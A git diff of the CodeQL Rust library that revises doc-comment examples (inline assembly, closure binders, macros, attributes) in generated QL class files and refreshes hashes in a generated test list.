a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll index 98b6ff146a8..5f5fd7ff09d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandExpr.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll index 187d6cd75f3..158acb3aa48 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOperandNamed.qll @@ -20,8 +20,9 @@ module Generated { * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` * INTERNAL: Do not reference the `Generated::AsmOperandNamed` class directly. * Use the subclass `AsmOperandNamed`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll index 388a94ca708..9c3d309f307 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOption.qll @@ -18,6 +18,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll index 862b9a25465..de8f7bccb0f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmOptionsList.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll index 8693aafd924..a294732fd96 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegOperand.qll @@ -21,6 +21,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll index 55498c97681..60f0c5803fe 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmRegSpec.qll @@ -19,8 +19,9 @@ module Generated { * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` * INTERNAL: Do not reference the `Generated::AsmRegSpec` class directly. * Use the subclass `AsmRegSpec`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll index 8433dc2483e..269b6721eb1 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AsmSym.qll @@ -19,6 +19,7 @@ module Generated { * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll index c7aada0045d..50e5fb32fe6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/AssocTypeArg.qll @@ -26,8 +26,13 @@ module Generated { * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::AssocTypeArg` class directly. * Use the subclass `AssocTypeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll index 3ec0785ce8d..9bd04fd3581 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ClosureBinder.qll @@ -19,8 +19,13 @@ module Generated { * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` * INTERNAL: Do not reference the `Generated::ClosureBinder` class directly. * Use the subclass `ClosureBinder`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll index 46a51f3841b..c7dc7380c3c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/ForTypeRepr.qll @@ -20,8 +20,13 @@ module Generated { * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::ForTypeRepr` class directly. * Use the subclass `ForTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll index 098935e35b8..7ae2873fa60 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/LifetimeArg.qll @@ -19,8 +19,8 @@ module Generated { * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` * INTERNAL: Do not reference the `Generated::LifetimeArg` class directly. * Use the subclass `LifetimeArg`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll index 6d7510e55c8..b10858d0685 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroDef.qll @@ -18,14 +18,12 @@ import codeql.rust.elements.Visibility */ module Generated { /** - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` * INTERNAL: Do not reference the `Generated::MacroDef` class directly. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll index 5c416e8e6bc..e967082bc77 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroPat.qll @@ -19,8 +19,14 @@ module Generated { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll index ec6c4a5332d..e6b901ba3d9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/MacroTypeRepr.qll @@ -19,6 +19,9 @@ module Generated { * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll index 68db05b0aba..27e6c03a328 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Meta.qll @@ -21,8 +21,13 @@ module Generated { * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` * INTERNAL: Do not reference the `Generated::Meta` class directly. * Use the subclass `Meta`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll index 990eec0265b..7fa652459f7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/PathTypeRepr.qll @@ -17,8 +17,8 @@ module Generated { /** * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` * INTERNAL: Do not reference the `Generated::PathTypeRepr` class directly. * Use the subclass `PathTypeRepr`, where the following predicates are available. diff --git a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll index e611b952de4..9880b8c2b02 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/generated/Raw.qll @@ -177,12 +177,13 @@ module Raw { /** * INTERNAL: Do not use. - * An inline assembly directive specification. + * An inline assembly direction specifier. * * For example: * ```rust - * asm!("nop"); - * // ^^^^^ + * use core::arch::asm; + * asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + * // ^^^ ^^ * ``` */ class AsmDirSpec extends @asm_dir_spec, AstNode { @@ -200,6 +201,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` @@ -224,6 +226,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` @@ -248,8 +251,9 @@ module Raw { * * For example: * ```rust - * asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - * // ^^^ ^^^ + * use core::arch::asm; + * asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + * // ^^^ ^^^ * ``` */ class AsmRegSpec extends @asm_reg_spec, AstNode { @@ -333,8 +337,13 @@ module Raw { * * For example: * ```rust - * for <'a> |x: &'a u32 | x - * // ^^^^^^ + * let print_any = for |x: T| { + * // ^^^^^^^^^^^^^^^^^^^^^^^ + * println!("{:?}", x); + * }; + * + * print_any(42); + * print_any("hello"); * ``` */ class ClosureBinder extends @closure_binder, AstNode { @@ -676,8 +685,13 @@ module Raw { * * For example: * ```rust - * #[cfg(feature = "foo")] - * // ^^^^^^^^^^^^^^^ + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ class Meta extends @meta, AstNode { @@ -1504,6 +1518,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("", clobber_abi("C")); * // ^^^^^^^^^^^^^^^^ * ``` @@ -1518,6 +1533,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("mov eax, {const}", const 42); * // ^^^^^^^ * ``` @@ -1541,7 +1557,8 @@ module Raw { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -1570,8 +1587,12 @@ module Raw { * * For example: * ```rust - * asm!("jmp {label}", label = sym my_label); - * // ^^^^^^^^^^^^^^^^^^^^^^ + * use core::arch::asm; + * asm!( + * "jmp {}", + * label { println!("Jumped from asm!"); } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ); * ``` */ class AsmLabel extends @asm_label, AsmOperand { @@ -1589,8 +1610,9 @@ module Raw { * * For example: * ```rust - * asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - * // ^^^^^ ^^^^ + * use core::arch::asm; + * asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + * // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ * ``` */ class AsmOperandNamed extends @asm_operand_named, AsmPiece { @@ -1613,6 +1635,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("", options(nostack, nomem)); * // ^^^^^^^^^^^^^^^^ * ``` @@ -1632,6 +1655,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("mov {0}, {1}", out(reg) x, in(reg) y); * // ^ ^ * ``` @@ -1661,6 +1685,7 @@ module Raw { * * For example: * ```rust + * use core::arch::asm; * asm!("call {sym}", sym = sym my_function); * // ^^^^^^^^^^^^^^^^^^^^^^ * ``` @@ -1680,8 +1705,13 @@ module Raw { * * For example: * ```rust - * ::Item - * // ^^^^ + * fn process_cloneable(iter: T) + * where + * T: Iterator + * // ^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class AssocTypeArg extends @assoc_type_arg, GenericArg { @@ -2226,8 +2256,13 @@ module Raw { * * For example: * ```rust - * for <'a> fn(&'a str) - * // ^^^^^ + * fn foo(value: T) + * where + * T: for<'a> Fn(&'a str) -> &'a str + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * { + * // ... + * } * ``` */ class ForTypeRepr extends @for_type_repr, TypeRepr { @@ -2544,8 +2579,8 @@ module Raw { * * For example: * ```rust - * Foo<'a> - * // ^^ + * let text: Text<'a>; + * // ^^ * ``` */ class LifetimeArg extends @lifetime_arg, GenericArg { @@ -2680,8 +2715,14 @@ module Raw { * * For example: * ```rust + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } * match x { * my_macro!() => "matched", + * // ^^^^^^^^^^^ * _ => "not matched", * } * ``` @@ -2701,6 +2742,9 @@ module Raw { * * For example: * ```rust + * macro_rules! macro_type { + * () => { i32 }; + * } * type T = macro_type!(); * // ^^^^^^^^^^^^^ * ``` @@ -2927,8 +2971,8 @@ module Raw { * INTERNAL: Do not use. * A path referring to a type. For example: * ```rust - * let x: (i32); - * // ^^^ + * type X = std::collections::HashMap; + * type Y = X::Item; * ``` */ class PathTypeRepr extends @path_type_repr, TypeRepr { @@ -3993,14 +4037,12 @@ module Raw { /** * INTERNAL: Do not use. - * A macro definition using the `macro_rules!` or similar syntax. + * A Rust 2.0 style declarative macro definition. * * For example: * ```rust - * macro_rules! my_macro { - * () => { - * println!("This is a macro!"); - * }; + * pub macro vec_of_two($element:expr) { + * vec![$element, $element] * } * ``` */ diff --git a/rust/ql/test/extractor-tests/generated/.generated_tests.list b/rust/ql/test/extractor-tests/generated/.generated_tests.list index 6fc2634396e..53bb0fdc74f 100644 --- a/rust/ql/test/extractor-tests/generated/.generated_tests.list +++ b/rust/ql/test/extractor-tests/generated/.generated_tests.list @@ -3,19 +3,19 @@ ArgList/gen_arg_list.rs 997959d661e34531ad42fc5cc214ed6bb2e318d91e94388ea94e245f ArrayListExpr/gen_array_list_expr.rs 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 99a1233b77a6b6eb0a538025688ca5a0824118a123bef0fe3f92a81834b17924 ArrayRepeatExpr/gen_array_repeat_expr.rs 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e 8cc7c0a435a02864290db6a498a5fcf227d8ee7ed87ee1943ad4d326c8314a0e ArrayTypeRepr/gen_array_type_repr.rs 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e 2188c6b50fe296009566436e89d17fffa4711ce1102c8ece7dd5125cb2b8e36e -AsmClobberAbi/gen_asm_clobber_abi.rs d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 d4aa071ad5bbd693b6482e3ed20d04c3e575df689b7b660def13a76177d96796 -AsmConst/gen_asm_const.rs ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 ab5faeef4612f4c4898d4aacabd45c61accc3b0111920ed640abd3aa1fa38d72 -AsmDirSpec/gen_asm_dir_spec.rs 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 42a5fe5835440189bcad16c470e1faa1888e1770e6789d888919f06b08bb13b9 -AsmExpr/gen_asm_expr.rs 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 00b21fd66fe12785174bd0160d0317a6c78ff05dbba73313eb07b56531cf3158 -AsmLabel/gen_asm_label.rs 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 282c2d385796f35d4b306e9f8a98fb06e8a39cd1fbea27b276783eb5c28bde40 -AsmOperandExpr/gen_asm_operand_expr.rs 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d 25e7537453eb0bbe9bf23aa95497dc507638656ca52ab287e01c304caee10d4d -AsmOperandNamed/gen_asm_operand_named.rs 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d 6496d9f1e0024bee168dd423545c89fbef6b3040ed61cce5ad31c48d8218323d -AsmOption/gen_asm_option.rs a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae a3c3537d3ec320fd989d004133c8e544cb527c6ca5dd38fbf821cb8ad59478ae -AsmOptionsList/gen_asm_options_list.rs 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca 0bd76fbbc68f464546fbcac549cd8d34f890ea35e4656afa4ca9f2238126b4ca -AsmRegOperand/gen_asm_reg_operand.rs fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 fec61325b834a006c3d734a3395e4332381d37324ba8853379384a936959eb41 -AsmRegSpec/gen_asm_reg_spec.rs d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd d4113dc15e5ca4523f46d64d17949885cb78341306d26d9a7bce5c2684d08ebd -AsmSym/gen_asm_sym.rs 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b 655bd12f51eec1de83bd097e9ff98048aeba645b4061fdd9870c9986f3f4944b -AssocTypeArg/gen_assoc_type_arg.rs 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c 476792f19a54e77be6ce588848de8d652a979e4d88edc9ff62221f0974d7421c +AsmClobberAbi/gen_asm_clobber_abi.rs eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 eb9aefa9a191a16797c140fa1b43435f46e08a2f29217c6997431b4407207ca5 +AsmConst/gen_asm_const.rs 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 9c3348eaf6dc4c503e680e01bec71acd639437ed7d2d66aeec6fba3fa6a04ca6 +AsmDirSpec/gen_asm_dir_spec.rs d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 d8cce684f18bc1ed15e10be89f834b02e8971eb1fedaca583d07356899f644b0 +AsmExpr/gen_asm_expr.rs f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a f35e1148bbc8b3f4765866345ef650befcd070507a53e519e21287fedf495f5a +AsmLabel/gen_asm_label.rs 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 4d70f0fdc9bd094a1bedb5fcbf4f2d47d20a47d69f3dc30855fb67780b8a2456 +AsmOperandExpr/gen_asm_operand_expr.rs 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa 9ec51abe4ddfd74983dffc2703e4f87fb496e717f1367b5ef7cfa2db8ec128fa +AsmOperandNamed/gen_asm_operand_named.rs ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 ca498c2aaeab670537e21d382f4575135a456da106f7467e346fd601d60ddb26 +AsmOption/gen_asm_option.rs 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 67f3a1ba4584bb071490542db579ba730fe2cb8bb1ad2e310558731165263315 +AsmOptionsList/gen_asm_options_list.rs 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 03c5d05bb947fc3f399fa9be7422b5c18b4ef2a8af7d15e1a8599143a73bccf6 +AsmRegOperand/gen_asm_reg_operand.rs 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 97370189e4fe37c0c1058c4387df6a84a46b5ad96d2394c1aea635044e937de8 +AsmRegSpec/gen_asm_reg_spec.rs 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 4c8cb20e4494e5c580bc7cc0f807019982c144d68b78e5520d877f74cef11081 +AsmSym/gen_asm_sym.rs 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 929843368b1d93ae255c080dee623dd874e63ed00c7e62879fb5dd20bc48e022 +AssocTypeArg/gen_assoc_type_arg.rs 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 7daf02fcf96da95546bfd8d50ca928585587a81f2ec3039f670ee968ae0f9860 Attr/gen_attr.rs ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 ef3693ee8cefdd7f036c6f5584019f899be09aafe6d670ccca2042fc416f0a79 AwaitExpr/gen_await_expr.rs cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 cbfa17a0b84bb0033b1f577c1f2a7ff187506c6211faaf6d90c371d4186b9aa2 BecomeExpr/gen_become_expr.rs ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c ab763211a01a2ca92be1589625465672c762df66fa3d12c9f1376021e497c06c @@ -25,7 +25,7 @@ BoxPat/gen_box_pat.rs 1493e24b732370b577ade38c47db17fa157df19f5390606a67a6040e49 BreakExpr/gen_break_expr.rs aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 aacdf9df7fc51d19742b9e813835c0bd0913017e8d62765960e06b27d58b9031 CallExpr/gen_call_expr.rs 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 013a7c878996aefb25b94b68eebc4f0b1bb74ccd09e91c491980817a383e2401 CastExpr/gen_cast_expr.rs c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 c3892211fbae4fed7cb1f25ff1679fd79d2878bf0bf2bd4b7982af23d00129f5 -ClosureBinder/gen_closure_binder.rs 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 1d6f9b45936bdf18a5a87decdf15bc5e477aabdd47bbc2c52d0de07e105600f9 +ClosureBinder/gen_closure_binder.rs 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 14b5e2deb2bbba164f1aee378be18e99e3c5a926628e964dcc2fbb349ff3b672 ClosureExpr/gen_closure_expr.rs 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 15bd9abdb8aaffabb8bb335f8ebd0571eb5f29115e1dc8d11837aa988702cd80 Comment/gen_comment.rs 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 1e1f9f43161a79c096c2056e8b7f5346385ab7addcdec68c2d53b383dd3debe6 Const/gen_const.rs a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f a3b971134a4204d0da12563fcefa9ab72f3f2f2e957e82b70c8548b5807f375f @@ -42,7 +42,7 @@ ExternItemList/gen_extern_item_list.rs f9a03ddf20387871b96994915c9a725feb333d061 FieldExpr/gen_field_expr.rs 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b 9a70500d592e0a071b03d974a55558b3bc0df531ff11bce5898feb36e17ffd8b FnPtrTypeRepr/gen_fn_ptr_type_repr.rs c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e c154ec0cc43236d133f6b946374f3063b89e5cbf9e96d9ee66877be4f948888e ForExpr/gen_for_expr.rs 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 003dc36e3dc4db6e3a4accd410c316f14334ba5b3d5d675c851a91dcd5185122 -ForTypeRepr/gen_for_type_repr.rs d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 d41db529dd031e96bf3de98091b67c11a89c99d86cb7b0f98097353c7ba00350 +ForTypeRepr/gen_for_type_repr.rs 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 387b8e7bb9d548e822e5e62b29774681e39fb816f3f42f951674e98fc542f667 FormatArgsExpr/gen_format.rs e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 e9d8e7b98d0050ad6053c2459cb21faab00078e74245336a5962438336f76d33 FormatArgsExpr/gen_format_args_arg.rs 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f 53ffd6abe4cd899c57d1973b31df0edc1d5eaa5835b19172ec4cda15bb3db28f FormatArgsExpr/gen_format_args_expr.rs 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 72c806ed163e9dcce2d0c5c8664d409b2aa635c1022c91959f9e8ae084f05bf2 @@ -62,24 +62,24 @@ LetElse/gen_let_else.rs 7e953f63a3602532c5b4a3362bbbaa24285de7f1ada0d70697e294a9 LetExpr/gen_let_expr.rs 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 7aebcd7197fd0e6b5b954deb2f6380769c94609c57e34eb86a33eb04e91d4a78 LetStmt/gen_let_stmt.rs 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb 3f41c9721149ee0bf8f89a58bc419756358a2e267b80d07660354a7fc44ef1eb Lifetime/gen_lifetime.rs afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 afe50122f80d0426785c94679b385f31dae475f406fa3c73bd58a17f89a4dc51 -LifetimeArg/gen_lifetime_arg.rs 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e 0dbbedbb81358bc96b6689028c32c161cf9bebe3c6c5727c3ad5e0c69814d37e +LifetimeArg/gen_lifetime_arg.rs 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 77e7153413205806b70f69088732ee09e26edacda2bedaa8b1ea771b6631f200 LifetimeParam/gen_lifetime_param.rs e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 e3f9a417ae7a88a4d81d9cb747b361a3246d270d142fc6c3968cd47bf7c421e5 LiteralExpr/gen_literal_expr.rs 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d 2db01ad390e5c0c63a957c043230a462cb4cc25715eea6ede15d43c55d35976d LiteralPat/gen_literal_pat.rs a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 a471b481b6989001817a3988696f445d9a4dea784e543c346536dacbee1e96f3 LoopExpr/gen_loop_expr.rs 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 35deaf35e765db4ae3124a11284266d8f341d1ce7b700030efada0dda8878619 MacroBlockExpr/gen_macro_block_expr.rs 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b 2e45dcf44bf2e8404b49ce9abeee4931572693174b5d96f3fd81eb40ea8e7b4b MacroCall/gen_macro_call.rs 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b 0bbfb1f41c627583214ab80c94a7467fdb353862634510d4d00b93c6f30ef79b -MacroDef/gen_macro_def.rs 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 07052ad401fd96cc539968f33fc7fe8d92359185e33bf8a5ae10e230345e3a85 +MacroDef/gen_macro_def.rs 6f895ecab8c13a73c28ce67fcee39baf7928745a80fb440811014f6d31b22378 